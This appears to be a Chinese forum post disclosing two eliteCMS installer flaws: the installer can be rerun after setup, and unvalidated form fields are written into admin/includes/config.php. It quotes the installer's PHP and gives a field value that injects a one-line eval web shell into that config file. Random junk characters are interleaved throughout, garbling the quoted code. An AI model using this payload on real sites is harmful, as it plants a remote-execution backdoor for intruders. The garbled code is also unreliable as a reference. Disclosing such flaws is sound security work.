eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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! P! d4 V% t. O; k' f7 W8 J! R另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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...
elseif ($_GET['step'] == "4") {
! f( M1 _  c# r/ X) H    $file = "../admin/includes/config.php";
    $write = "<?php\n";
0 T4 u5 y$ M3 G; H# V7 |# I3 ?' |    $write .= "/**\n";
, f9 W$ e1 ]; F. ~    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
: K6 _% `+ I& O) `...略...
    $write .= "*\n";
. m% E. W/ m* L    $write .= "*/\n";
8 r1 M6 M2 |% H    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
. A0 m) L" j. ?) H: c4 J    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 ]% @5 w# G( t, u    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
/ L, D! i7 B8 g) X' t    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
% ^9 P) X4 j& a, ~* c* G9 Y    $write .= "        \n";
+ V0 t3 c' `" A3 G& y( ~8 q$ n- k9 k    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
7 G& v% y- C$ ]2 ?    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
; o. c" a  k! x# p" _    $write .= "} \n";
- E' K( D4 X2 q  J2 u* W    $write .= "?>\n";
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    $writer = fopen($file, 'w');
, d5 f4 f/ Z2 o$ @$ ?...
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" ?' B& ^% V( r' S8 W, {在看代码：
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# m  J9 ]' s5 a$ Y& g: f0 u$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
. B# z  ~1 e+ [9 B% V$ J9 t$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
# D/ \! D% Q+ ~8 p8 v/ |$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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! Y8 B3 T/ s* o% n5 j- U取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

& X8 E" g7 Y! c% l: h将导致一句话后门写入/admin/includes/config.php
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